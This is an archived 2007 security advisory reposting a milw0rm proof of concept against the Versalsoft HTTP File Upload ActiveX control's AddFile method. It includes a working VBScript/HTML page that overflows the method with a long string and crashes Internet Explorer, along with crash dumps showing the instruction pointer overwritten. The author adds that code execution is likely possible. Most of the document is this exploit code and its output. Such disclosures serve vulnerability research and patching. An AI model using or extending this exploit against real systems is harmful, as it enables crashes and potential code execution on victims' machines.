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Versalsoft HTTP File Upload ActiveX 6.36 AddFile DoS (Exploit)
------------------------------------------------------------------------
SUMMARY
<http://www.uploadactivex.com/> Versalsoft HTTP File Upload ActiveX is
vulnerable to denial of service condition.
DETAILS
Exploit:
<span style="font: 14pt Courier New;"><p
align="center"><b>2007/05/07</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span
class="general1-symbol">-------------------------------------------------------------------------------------
<b>Versalsoft HTTP File Uploader (UFileUploaderD.dll) 'AddFile' method
Buffer Overflow</b>
url: http://en.versalsoft.com/
price: from $59.95 to $799.95
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer
7
Try only 1500 characters (or less) to see IE crash.
-------------------------------------------------------------------------------------
<object classid='clsid:28776DAD-5914-42A7-9139-8FD7C756BBDD' id='target'
style="width: 650px; height: 250px"></object>
<input language=VBScript onclick=tryMe() type=button value="Click here to
start the test"> <input language=VBScript onclick=QuoteMe() type=button
value="Quoting...">
<script language='vbscript'>
Sub tryMe
on error resume next
arg1 = String (4000,"A")
target.AddFile arg1
End Sub
Sub QuoteMe
Dim MyMsg
MyMsg = MsgBox("I'm coming down with a fever" & vbCrLf & _
"I'm really out to sea" & vbCrLf & _
"This kettle is boiling over" & vbCrLf & _
"I think I'm a banana tree", 64, "2007/05/07 - Versalsoft
HTTP File Uploader")
End Sub
</script><b><font color="#FF0000">As you can see by the faultmon dump, EIP
is overwrite so code execution should
be possible... but I leave to posterity the hardest part of work :)</font
color></b>
11:40:51.172 pid=08E4 tid=0AB0 EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [41414141])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
ECX=FFFFFFFF: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
EDX=0173E650: 00 00 00 00 41 41 41 41-D8 E8 73 01 FA 37 81
7C
ESP=0173E63C: F0 E8 73 01 95 E0 80 7C-50 E6 73 01 41 41 41
41
EBP=0173E658: D8 E8 73 01 FA 37 81 7C-41 41 41 41 A8 42 E7
02
ESI=7FFDABF8: 0A 00 0A 02 00 AC FD 7F-61 00 62 00 6F 00 75
00
EDI=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
EIP=7C9112B4: F2 AE F7 D1 81 F9 FF FF-00 00 76 05 B9 FF FF
00
--> REPNZ SCASB
----------------------------------------------------------------
11:40:51.172 pid=08E4 tid=0AB0 EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [41414141])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00
00
ESP=0173E26C: BF 37 91 7C 54 E3 73 01-84 F2 73 01 70 E3 73
01
EBP=0173E28C: 3C E3 73 01 8B 37 91 7C-54 E3 73 01 84 F2 73
01
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
--> N/A
----------------------------------------------------------------
To be continued...</span></span>
</code></pre>
ADDITIONAL INFORMATION
The information has been provided by milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/3866>
http://www.milw0rm.com/exploits/3866
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